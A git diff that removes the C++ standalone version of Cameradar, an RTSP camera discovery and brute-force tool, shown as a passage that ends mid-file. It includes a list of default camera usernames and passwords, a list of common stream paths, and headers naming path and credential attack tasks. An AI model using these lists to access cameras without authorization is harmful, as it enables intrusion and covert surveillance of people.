validate:"required,eq=rtsp"` + Product string `xml:"product,attr"` +} diff --git a/cameradar_standalone/CMakeLists.txt b/cameradar_standalone/CMakeLists.txt deleted file mode 100644 index b122c95..0000000 --- a/cameradar_standalone/CMakeLists.txt +++ /dev/null @@ -1,60 +0,0 @@ -## Copyright 2016 Etix Labs -## -## Licensed under the Apache License, Version 2.0 (the "License"); -## you may not use this file except in compliance with the License. -## You may obtain a copy of the License at -## -## http://www.apache.org/licenses/LICENSE-2.0 -## -## Unless required by applicable law or agreed to in writing, software -## distributed under the License is distributed on an "AS IS" BASIS, -## WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -## See the License for the specific language governing permissions and -## limitations under the License. - -cmake_minimum_required (VERSION 2.8.1) -cmake_policy(SET CMP0048 OLD) - -project(cameradar CXX) - -# find gstreamer 1.x libraries -include(FindPkgConfig) - -pkg_search_module(GSTREAMER REQUIRED gstreamer-1.0) -find_library(LIB_GSTREAMER NAMES ${GSTREAMER_LIBRARIES} HINTS ${GSTREAMER_LIBRARY_DIRS}) - -include_directories ( - ${GSTREAMER_INCLUDE_DIRS} - ${PROJECT_SOURCE_DIR}/include - ${VERSION_INCLUDE_DIR} -) - -link_directories ( - ${GSTREAMER_LIBRARY_DIRS} - "../deps/jsoncpp/src/deps.jsoncpp/src/lib_json" -) - -if ("${CMAKE_C_COMPILER_ID}" STREQUAL "Clang") - # search special osx gstreamer libs - pkg_search_module(GSTREAMER_APP REQUIRED gstreamer-app-1.0) - find_library(LIB_GSTREAMER NAMES ${GSTREAMER_APP_LIBRARIES} HINTS ${GSTREAMER_APP_LIBRARY_DIRS}) - - include_directories (${GSTREAMER_APP_INCLUDE_DIRS}) - - link_directories (${GSTREAMER_APP_LIBRARY_DIRS}) -endif() - -include (find_sources) -find_sources ("src" "include" "src/tasks") - -add_executable (cameradar ${SOURCES}) -target_link_libraries (cameradar pthread jsoncpp dl curl ${GSTREAMER_LIBRARIES}) - -# Add the conf files to the build dir -add_custom_command(TARGET cameradar PRE_BUILD - COMMAND ${CMAKE_COMMAND} -E copy_directory - ${CMAKE_SOURCE_DIR}/cameradar_standalone/conf $/conf/) - -set (BINARIES_NAME ${PROJECT_BINARY_DIR}/cameradar) -list (APPEND CAMERADAR_BINARIES ${BINARIES_NAME}) -set (CAMERADAR_BINARIES ${CAMERADAR_BINARIES} PARENT_SCOPE) diff --git a/cameradar_standalone/conf/cameradar.conf.json b/cameradar_standalone/conf/cameradar.conf.json deleted file mode 100644 index 86f7308..0000000 --- a/cameradar_standalone/conf/cameradar.conf.json +++ /dev/null @@ -1,16 +0,0 @@ -{ - "mysql_db" : { - "host" : "cameradar-database", - "port" : 3306, - "user": "root", - "password": "root", - "db_name": "cmrdr" - }, - "target" : "localhost", - "ports" : "554,8554", - "rtsp_url_file" : "/cameradar/conf/url.json", - "rtsp_ids_file" : "/cameradar/conf/ids.json", - "thumbnail_storage_path" : "/tmp/thumbs", - "cache_manager_path" : "/cameradar/cache_managers", - "cache_manager_name" : "dumb" -} diff --git a/cameradar_standalone/conf/ids.json b/cameradar_standalone/conf/ids.json deleted file mode 100644 index 046b60c..0000000 --- a/cameradar_standalone/conf/ids.json +++ /dev/null @@ -1,31 +0,0 @@ -{ - "username": [ - "", - "admin", - "Admin", - "root", - "supervisor", - "ubnt" - ], - "password" : [ - "", - "admin", - "9999", - "123456", - "pass", - "camera", - "1234", - "12345", - "fliradmin", - "system", - "jvc", - "meinsm", - "root", - "4321", - "1111111", - "password", - "ikwd", - "supervisor", - "ubnt" - ] -} \ No newline at end of file diff --git a/cameradar_standalone/conf/url.json b/cameradar_standalone/conf/url.json deleted file mode 100644 index 23af730..0000000 --- a/cameradar_standalone/conf/url.json +++ /dev/null @@ -1,117 +0,0 @@ -{ - "urls" : [ - "/", - "/1.AMP", - "/1/stream1", - "/CAM_ID.password.mp2", - "/GetData.cgi", - "/MediaInput/h264", - "/MediaInput/mpeg4", - "/VideoInput/1/h264/1", - "/access_code", - "/access_name_for_stream_1_to_5", - "/av0_0", - "/av2", - "/avn=2", - "/axis-media/media.amp", - "/cam", - "/cam0_0", - "/cam0_1", - "/cam1/h264", - "/cam1/h264/multicast", - "/cam1/mjpeg", - "/cam1/mpeg4", - "/camera.stm", - "/ch0", - "/ch001.sdp", - "/ch01.264", - "/ch0_unicast_firststream", - "/ch0_unicast_secondstream", - "/channel1", - "/h264", - "/h264/media.amp", - "/image.mpg", - "/img/media.sav", - "/img/video.asf", - "/img/video.sav", - "/ioImage/1", - "/ipcam.sdp", - "/ipcam_h264.sdp", - "/live.sdp", - "/live/h264", - "/live/mpeg4", - "/live_mpeg4.sdp", - "/livestream", - "/livestream/", - "/media/media.amp", - "/media/video1", - "/mjpeg/media.smp", - "/mp4", - "/mpeg4", - "/mpeg4/1/media.amp", - "/mpeg4/media.amp", - "/mpeg4/media.smp", - "/mpeg4unicast", - "/mpg4/rtsp.amp", - "/multicaststream", - "/now.mp4", - "/nph-h264.cgi", - "/nphMpeg4/g726-640x", - "/nphMpeg4/g726-640x480", - "/nphMpeg4/nil-320x240", - "/play1.sdp", - "/play2.sdp", - "/rtpvideo1.sdp", - "/rtsp_live0", - "/rtsp_live1", - "/rtsp_live2", - "/rtsp_tunnel", - "/rtsph264", - "/stream1", - "/user.pin.mp2", - "/user_defined", - "/video", - "/video.3gp", - "/video.mp4", - "/video1", - "/video1+audio1", - "/vis", - "/wfov", - "/video.h264", - "/11", - "/12", - "/ch1-s1", - "/live3.sdp", - "/onvif-media/media.amp", - "/axis-media/media.amp", - "/axis-media/media.amp?videocodec=h264", - "/mpeg4/media.amp", - "/stream", - "/cam/realmonitor", - "/live", - "/video.pro2", - "/videoMain", - "/VideoInput/1/mpeg4/1", - "/VideoInput/1/h264/1", - "/video.pro3", - "/video.pro1", - "/video.mjpg", - "/h264_vga.sdp", - "/media.amp", - "/media", - "/ONVIF/MediaInput", - "/nphMpeg4/g726-640x48", - "/MediaInput/mpeg4", - "/MediaInput/h264", - "/Streaming/Channels/1", - "/ch0_0.h264", - "/rtsph2641080p", - "/live/av0", - "/cam1/onvif-h264", - "/ucast/11", - "/LowResolutionVideo", - "/1", - "/live/ch00_0", - "/medias2" - ] -} diff --git a/cameradar_standalone/include/cachemanager.h b/cameradar_standalone/include/cachemanager.h deleted file mode 100644 index d077ff4..0000000 --- a/cameradar_standalone/include/cachemanager.h +++ /dev/null @@ -1,185 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include -#include -#include -#include -#include - -namespace etix { -namespace cameradar { - -// The interface a cache_manager should implement to be valid -class cache_manager_iface { -public: - virtual ~cache_manager_iface() {} - - // Launches the manager configuration - // \return false if failed - virtual bool configure(std::shared_ptr configuration) = 0; - - // get the name of the cache manager - virtual const std::string& get_name() const = 0; - - // Replaces all cached streams by the content of the vector given as - // parameter - virtual void set_streams(std::vector model) = 0; - - // Inserts a single stream to the cache - virtual void update_stream(const etix::cameradar::stream_model& newmodel) = 0; - - // Returns true if the stream passed as a parameter has changed in the cache - virtual bool has_changed(const etix::cameradar::stream_model&) = 0; - - // Gets all cached streams - virtual std::vector get_streams() = 0; - - // Gets all valid streams which have been accessed - virtual std::vector get_valid_streams() = 0; -}; - -class cache_manager_base : public cache_manager_iface { -public: - cache_manager_base() = default; - virtual ~cache_manager_base() = default; - - // Launches the cache manager configuration - // \return false if failed - virtual bool configure(std::shared_ptr configuration) = 0; - - // get the name of the cache manager - virtual const std::string& get_name() const = 0; - - // Replaces all cached streams by the content of the vector given as - // parameter - virtual void set_streams(std::vector model) = 0; - - // Returns true if the stream passed as a parameter has changed in the cache - virtual bool has_changed(const etix::cameradar::stream_model&) = 0; - - // Updates a single stream to the cache - virtual void update_stream(const etix::cameradar::stream_model& newmodel) = 0; - - // Gets all cached streams - virtual std::vector get_streams() = 0; - - // Gets all valid streams which have been accessed - virtual std::vector get_valid_streams() = 0; - - // Get the manager's instance - cache_manager_base& get_instance(); - - template - std::shared_ptr - get() { - static_assert(std::is_base_of::value, - "I must implement cache_manager_base"); - std::shared_ptr cache_manager(dynamic_cast(this)); - if (not cache_manager) return nullptr; - return cache_manager->template get(); - } -}; - -// The representation of a cache manager -// -// This class loads a shared library, and tries to call an extern "C" -// function which should instanciate a new instance of the plugin. -class cache_manager { -private: - static const std::string PLUGIN_EXT; - static const std::string default_symbol; - - // The name of the cache manager - std::string name; - - // The write mutex to avoid conflicts when multithreading - std::mutex m; - - // The path where the manager is located - // should be specified in the configuration file - std::string path; - - // The symbol entry point of the manager to - // call to create an instance from the shared library - std::string symbol; - - // The handle to the shared library where is stored the manager - void* handle = nullptr; - - // The cache manager instance if it is successfully loaded - cache_manager_iface* ptr = nullptr; - - // Internal function that creates the full path of the cache manager - // - // full path is composed of: the path, the name, the string "_cache-manager" - // and the extension PLUGIN_EXT depending of the platform - std::string make_full_path(); - -public: - // Delete constructor - cache_manager() = delete; - - // The manager needs a path and a symbol to be instantiated. - // The symbol can be changed if the plugin entry point - // is different than the standard one. - cache_manager(const std::string& path, - const std::string& name, - const std::string& symbol = default_symbol); - - // // Copy constructor - // cache_manager(cache_manager &other); - - // Move constructor - cache_manager(cache_manager&& old); - - ~cache_manager(); - - // Creates the instance of the cache_manager - // - // \return false if the cache_manager failed to be instantiated or if - // the cache_manager is not a valid cache manager, true otherwise - bool make_instance(); - - template - std::shared_ptr - get() { - static_assert(std::is_base_of::value, - "I must implement plugin_base"); - return this->get(); - } - - // Helper to access internal loaded cache_manager - // - // Gives access to the methods of the cache_manager using the operator - // -> (e.g.: cache_manager->get_name()); - cache_manager_iface* operator->(); - const cache_manager_iface* operator->() const; - - // helper function to check if a cache_manager is instantiated or not - friend bool operator==(std::nullptr_t nullp, const cache_manager& p); - - // helper function to check if a cache_manager is instantiated or not - friend bool operator==(const cache_manager& p, std::nullptr_t nullp); - - // helper function to check if a cache_manager is instantiated or not - friend bool operator!=(std::nullptr_t nullp, const cache_manager& p); - - // helper function to check if a cache_manager is instantiated or not - friend bool operator!=(const cache_manager& p, std::nullptr_t nullp); -}; -} -} diff --git a/cameradar_standalone/include/cameradar_task.h b/cameradar_standalone/include/cameradar_task.h deleted file mode 100644 index 6ca116d..0000000 --- a/cameradar_standalone/include/cameradar_task.h +++ /dev/null @@ -1,30 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include // std::string -#include // std::shared_ptr -#include // conf - -namespace etix { - -namespace cameradar { - -class cameradar_task { -public: - virtual bool run() const = 0; -}; -} -} diff --git a/cameradar_standalone/include/configuration.h b/cameradar_standalone/include/configuration.h deleted file mode 100644 index 1a66cd6..0000000 --- a/cameradar_standalone/include/configuration.h +++ /dev/null @@ -1,79 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include // Json::Value -#include // Json::Value -#include // _LOG_ -#include // parsing opt -#include // std::string -#include // std::pair - -namespace etix { - -namespace cameradar { - -static const std::string default_configuration_path = "conf/cameradar.conf.json"; - -static const std::string default_ports = "554,8554"; -static const std::string default_target = "localhost,168.0.0.0/24"; -static const std::string default_thumbnail_storage_path = "/tmp"; -static const std::string default_rtsp_url_file = "conf/url.json"; -static const std::string default_rtsp_ids_file = "conf/ids.json"; -static const std::string default_cache_manager_path = "../cache_managers/dumb_cache_manager"; -static const std::string default_cache_manager_name = "dumb"; - -struct configuration { - std::string thumbnail_storage_path; - std::string target; - std::string rtsp_url_file; - std::string rtsp_ids_file; - std::string ports; - std::string cache_manager_path; - std::string cache_manager_name; - std::vector paths; - std::vector usernames; - std::vector passwords; - - Json::Value raw_conf; - - configuration() = default; - configuration(const std::string& thumbnail_storage_path, - const std::string& target, - const std::string& rtsp_url_file, - const std::string& rtsp_ids_file, - const std::string& cache_manager_path, - const std::string& cache_manager_name, - const std::string& ports) - : thumbnail_storage_path(thumbnail_storage_path) - , target(target) - , rtsp_url_file(rtsp_url_file) - , rtsp_ids_file(rtsp_ids_file) - , ports(ports) - , cache_manager_path(cache_manager_path) - , cache_manager_name(cache_manager_name) {} - - static const std::string name_; - - bool load_ids(); - bool load_url(); - - Json::Value get_raw() const; -}; - -std::pair read_file(const std::string& path); -std::pair load(const std::pair& args); -} -} diff --git a/cameradar_standalone/include/describe.h b/cameradar_standalone/include/describe.h deleted file mode 100644 index c04a252..0000000 --- a/cameradar_standalone/include/describe.h +++ /dev/null @@ -1,26 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include // std::shared_ptr -#include // LOG -#include // cURL client for discovery -#include // b64 - -namespace etix { -namespace cameradar { -bool curl_describe(const std::string& path, bool logs); -} -} diff --git a/cameradar_standalone/include/dispatcher.h b/cameradar_standalone/include/dispatcher.h deleted file mode 100644 index af54667..0000000 --- a/cameradar_standalone/include/dispatcher.h +++ /dev/null @@ -1,84 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include // sig -#include // std::shared_ptr -#include // parsing opt -#include // LOG -#include // conf -#include // std::thread -#include // operator""ms -#include // sig - -// All the tasks managed by the dispatcher -#include -#include -#include -#include -#include -#include -#include - -namespace etix { -namespace cameradar { - -enum class task { - init, - preparation, - mapping, - parsing, - path_attack, - creds_attack, - thumb_generation, - print, - finished -}; - -class dispatcher { -private: - bool busy; - task current; - std::string nmap_output; - const configuration& conf; - std::shared_ptr cache; - const std::pair& opts; - std::list queue; - -public: - dispatcher() = delete; - dispatcher(const configuration& conf, - std::shared_ptr cache, - const std::pair& opts) - : busy(false) - , current(task::init) - , nmap_output("/tmp/scans/scan" + std::to_string(std::chrono::system_clock::to_time_t( - std::chrono::system_clock::now())) + - ".xml") - , conf(conf) - , cache(cache) - , opts(opts){}; - ~dispatcher() = default; - bool - doing_stuff() const { - return this->busy; - } - - void do_stuff(); - - void run(); -}; -} -} diff --git a/cameradar_standalone/include/encode.h b/cameradar_standalone/include/encode.h deleted file mode 100644 index 03ea1e4..0000000 --- a/cameradar_standalone/include/encode.h +++ /dev/null @@ -1,38 +0,0 @@ -/* - base64.cpp and base64.h - Copyright (C) 2004-2008 René Nyffenegger - This source code is provided 'as-is', without any express or implied - warranty. In no event will the author be held liable for any damages - arising from the use of this software. - Permission is granted to anyone to use this software for any purpose, - including commercial applications, and to alter it and redistribute it - freely, subject to the following restrictions: - 1. The origin of this source code must not be misrepresented; you must not - claim that you wrote the original source code. If you use this source code - in a product, an acknowledgment in the product documentation would be - appreciated but is not required. - 2. Altered source versions must be plainly marked as such, and must not be - misrepresented as being the original source code. - 3. This notice may not be removed or altered from any source distribution. - René Nyffenegger rene.nyffenegger@adp-gmbh.ch -*/ -#pragma once - -#include - -namespace etix { - -namespace tool { - -namespace encode { - -std::string encode64(const std::string& str_to_encode); - -std::string base64_encode(unsigned char const*, unsigned int len); -std::string base64_decode(std::string const& s); - -} // encode - -} // tool - -} // etix diff --git a/cameradar_standalone/include/fmt.h b/cameradar_standalone/include/fmt.h deleted file mode 100644 index 3847065..0000000 --- a/cameradar_standalone/include/fmt.h +++ /dev/null @@ -1,42 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include -#include -#include - -namespace etix { - -namespace tool { - -static std::mutex mutex; - -// Format a string with the given arguments -// same behavior as sprintf. -template -std::string -fmt(const std::string& base, Args... args) { - std::lock_guard guard(mutex); - static char buf[512]; - - std::sprintf(buf, base.c_str(), args...); - - return std::string(buf); -} - -} // tool - -} // etix diff --git a/cameradar_standalone/include/fs.h b/cameradar_standalone/include/fs.h deleted file mode 100644 index 265e36c..0000000 --- a/cameradar_standalone/include/fs.h +++ /dev/null @@ -1,47 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include -#include -#include -#include -#include - -namespace etix { - -namespace tool { - -namespace fs { - -enum class fs_error { is_dir, is_not_dir, dont_exist }; - -fs_error is_folder(const std::string& folder); -bool get_or_create_folder(const std::string& folder); -bool create_folder(const std::string& folder); -bool create_recursive_folder(const std::string& folder); -std::string home(); - -// this functions take a copy because we need to make some operations on the string -// for example, we need to apply std::string::pop_back -std::string get_file_folder(std::string full_file_path); - -bool copy(const std::string& src, const std::string& dst); - -} // fs - -} // tool - -} // etix diff --git a/cameradar_standalone/include/launch_command.h b/cameradar_standalone/include/launch_command.h deleted file mode 100644 index 2909440..0000000 --- a/cameradar_standalone/include/launch_command.h +++ /dev/null @@ -1,25 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include // std::string -#include // LOG -#include // system - -namespace etix { -namespace cameradar { -bool launch_command(const std::string& cmd); -} -} diff --git a/cameradar_standalone/include/logger.h b/cameradar_standalone/include/logger.h deleted file mode 100644 index ddfadbf..0000000 --- a/cameradar_standalone/include/logger.h +++ /dev/null @@ -1,103 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include "spdlog/spdlog.h" -#include -#include - -namespace etix { - -namespace tool { - -enum class loglevel { DEBUG = 1, INFO = 2, WARN = 4, ERR = 5, CRITICAL = 6 }; - -inline std::string -format_output(const std::string& from, const std::string& message) { - auto ss = std::stringstream{}; - - ss << "(" << from << "): "; - ss << message; - - return ss.str(); -} - -class logger { - std::string name; - std::shared_ptr console; - - logger(const std::string& plugin) - : name(plugin), console(spdlog::stdout_logger_mt("cameradar")) {} - -public: - static logger& - get_instance(const std::string& name = "") { - static logger self(name); - return self; - } - void - set_level(loglevel level) { - switch (level) { - case loglevel::DEBUG: this->console->set_level(spdlog::level::level_enum::debug); break; - - case loglevel::INFO: this->console->set_level(spdlog::level::level_enum::info); break; - - case loglevel::WARN: this->console->set_level(spdlog::level::level_enum::warn); break; - - case loglevel::ERR: this->console->set_level(spdlog::level::level_enum::err); break; - - case loglevel::CRITICAL: - this->console->set_level(spdlog::level::level_enum::critical); - break; - } - } - - static void - info(const std::string& message) { - etix::tool::logger::get_instance().console->info(message); - } - - static void - warn(const std::string& message) { - etix::tool::logger::get_instance().console->warn(message); - } - - static void - err(const std::string& message) { - etix::tool::logger::get_instance().console->error(message); - } - - static void - debug(const std::string& message) { - etix::tool::logger::get_instance().console->debug(message); - } -}; -} -} - -// Should be replaced to calls to spdlog::logger::getlogger(const std::string& -// name) -#define LOG_WARN_(message, from) \ - etix::tool::logger::get_instance().warn(etix::tool::format_output( \ - std::string(from) + "::" + __FUNCTION__ + ":" + std::to_string(__LINE__), message)) -#define LOG_ERR_(message, from) \ - etix::tool::logger::get_instance().err(etix::tool::format_output( \ - std::string(from) + "::" + __FUNCTION__ + ":" + std::to_string(__LINE__), message)) -#define LOG_DEBUG_(message, from) \ - etix::tool::logger::get_instance().debug(etix::tool::format_output( \ - std::string(from) + "::" + __FUNCTION__ + ":" + std::to_string(__LINE__), message)) -#define LOG_INFO_(message, from) \ - etix::tool::logger::get_instance().info(etix::tool::format_output( \ - std::string(from) + "::" + __FUNCTION__ + ":" + std::to_string(__LINE__), message)) diff --git a/cameradar_standalone/include/opt_parse.h b/cameradar_standalone/include/opt_parse.h deleted file mode 100644 index 38edf48..0000000 --- a/cameradar_standalone/include/opt_parse.h +++ /dev/null @@ -1,98 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include // for string -#include // for unordered_map -#include // for pair -#include // for vector - -namespace etix { - -namespace tool { - -class opt_parse { -private: - struct opt_param { - bool required; - bool need_arg; - std::string name; - std::string desc; - std::string argument; - bool is_passed = false; - - opt_param(bool required, bool need_arg, std::string name, std::string desc) - : required(required), need_arg(need_arg), name(name), desc(desc) {} - }; - - std::unordered_map params; - int argc; - char** argv; - int params_cnt = 0; - -public: - class iterator { - private: - std::vector> args; - unsigned int opt_pos = 0; - - public: - iterator(std::vector> args, unsigned int opt_pos) - : args(args), opt_pos(opt_pos) {} - iterator operator++() { - this->opt_pos += 1; - return *this; - } - std::pair& operator*() { return this->args.at(this->opt_pos); } - bool - operator==(const iterator& rhs) const { - return this->opt_pos == rhs.opt_pos; - } - bool - operator!=(const iterator& rhs) const { - return this->opt_pos != rhs.opt_pos; - } - }; - - opt_parse() = delete; - - opt_parse(int argc, char* argv[]); - - ~opt_parse(); - - void required(const std::string& name, const std::string& desc = "", bool need_arg = true); - - void optional(const std::string& name, const std::string& desc = "", bool need_arg = true); - - bool execute(); - - iterator begin() const; - - iterator end() const; - - void print_usage() const; - - void print_help() const; - - bool has_error() const; - - bool exist(const std::string& opt) const; - - std::string operator[](const std::string& opt) const; -}; - -} // tool - -} // etix diff --git a/cameradar_standalone/include/rtsp_path.h b/cameradar_standalone/include/rtsp_path.h deleted file mode 100644 index 2a2208a..0000000 --- a/cameradar_standalone/include/rtsp_path.h +++ /dev/null @@ -1,26 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include // for string -#include // for stream_model - -namespace etix { - -namespace cameradar { - -const std::string make_path(const stream_model& model); -} -} diff --git a/cameradar_standalone/include/signal_handler.h b/cameradar_standalone/include/signal_handler.h deleted file mode 100644 index 9813182..0000000 --- a/cameradar_standalone/include/signal_handler.h +++ /dev/null @@ -1,70 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#pragma once - -#include // assert -#include // sigint -#include // stc::cout - -// To avoid an unused warning for the asserted in handle_signal -#define _unused(x) ((void)(x)) - -namespace etix { - -namespace cameradar { - -enum class stop_priority { running, stop, force_stop }; - -class event_handler { -public: - event_handler(void) : ss(stop_priority::running) {} - - virtual int - handle_signal(int signum) { - assert(signum == SIGINT); - _unused(signum); - std::cout << "\b\b\b\033[K"; - if (this->ss == stop_priority::running) - this->ss = stop_priority::stop; - else - this->ss = stop_priority::force_stop; - return 0; - } - - etix::cameradar::stop_priority - should_stop(void) const { - return this->ss; - } - -private: - stop_priority ss; -}; - -class signal_handler { -private: - signal_handler(void); - signal_handler(const signal_handler&); - signal_handler& operator=(const signal_handler&); - - static void call_handler(int signum); - - static event_handler handler; - -public: - static signal_handler& instance(void); - etix::cameradar::stop_priority should_stop(void) const; -}; -} -} diff --git a/cameradar_standalone/include/spdlog/async_logger.h b/cameradar_standalone/include/spdlog/async_logger.h deleted file mode 100644 index 3e45c0f..0000000 --- a/cameradar_standalone/include/spdlog/async_logger.h +++ /dev/null @@ -1,71 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -// Very fast asynchronous logger (millions of logs per second on an average desktop) -// Uses pre allocated lockfree queue for maximum throughput even under large number of threads. -// Creates a single back thread to pop messages from the queue and log them. -// -// Upon each log write the logger: -// 1. Checks if its log level is enough to log the message -// 2. Push a new copy of the message to a queue (or block the caller until space is available in -// the queue) -// 3. will throw spdlog_ex upon log exceptions -// Upong destruction, logs all remaining messages in the queue before destructing.. - -#include -#include -#include "common.h" -#include "logger.h" -#include "spdlog.h" - -namespace spdlog { - -namespace details { -class async_log_helper; -} - -class async_logger : public logger { -public: - template - async_logger( - const std::string& name, - const It& begin, - const It& end, - size_t queue_size, - const async_overflow_policy overflow_policy = async_overflow_policy::block_retry, - const std::function& worker_warmup_cb = nullptr, - const std::chrono::milliseconds& flush_interval_ms = std::chrono::milliseconds::zero()); - - async_logger( - const std::string& logger_name, - sinks_init_list sinks, - size_t queue_size, - const async_overflow_policy overflow_policy = async_overflow_policy::block_retry, - const std::function& worker_warmup_cb = nullptr, - const std::chrono::milliseconds& flush_interval_ms = std::chrono::milliseconds::zero()); - - async_logger( - const std::string& logger_name, - sink_ptr single_sink, - size_t queue_size, - const async_overflow_policy overflow_policy = async_overflow_policy::block_retry, - const std::function& worker_warmup_cb = nullptr, - const std::chrono::milliseconds& flush_interval_ms = std::chrono::milliseconds::zero()); - - void flush() override; - -protected: - void _log_msg(details::log_msg& msg) override; - void _set_formatter(spdlog::formatter_ptr msg_formatter) override; - void _set_pattern(const std::string& pattern) override; - -private: - std::unique_ptr _async_log_helper; -}; -} - -#include "./details/async_logger_impl.h" diff --git a/cameradar_standalone/include/spdlog/common.h b/cameradar_standalone/include/spdlog/common.h deleted file mode 100644 index 0f25667..0000000 --- a/cameradar_standalone/include/spdlog/common.h +++ /dev/null @@ -1,88 +0,0 @@ -// -// Copyright(c) 2015 Gabi Melman. -// Distributed under the MIT License (http://opensource.org/licenses/MIT) -// - -#pragma once - -#include -#include -#include -#include - -// visual studio does not support noexcept yet -#ifndef _MSC_VER -#define SPDLOG_NOEXCEPT noexcept -#else -#define SPDLOG_NOEXCEPT throw() -#endif - -namespace spdlog { - -class formatter; - -namespace sinks { -class sink; -} - -// Common types across the lib -using log_clock = std::chrono::system_clock; -using sink_ptr = std::shared_ptr; -using sinks_init_list = std::initializer_list; -using formatter_ptr = std::shared_ptr; - -// Log level enum -namespace level { -typedef enum { - trace = 0, - debug = 1, - info = 2, - notice = 3, - warn = 4, - err = 5, - critical = 6, - alert = 7, - emerg = 8, - off = 9 -} level_enum; - -static const char* level_names[]{ "trace", "debug", "info", "notice", "warning", - "error", "critical", "alert", "emerg", "off" }; - -static const char* short_level_names[]{ "T", "D", "I", "N", "W", "E", "C", "A", "M", "O" }; - -inline const char* -to_str(spdlog::level::level_enum l) { - return level_names[l]; -} - -inline const char* 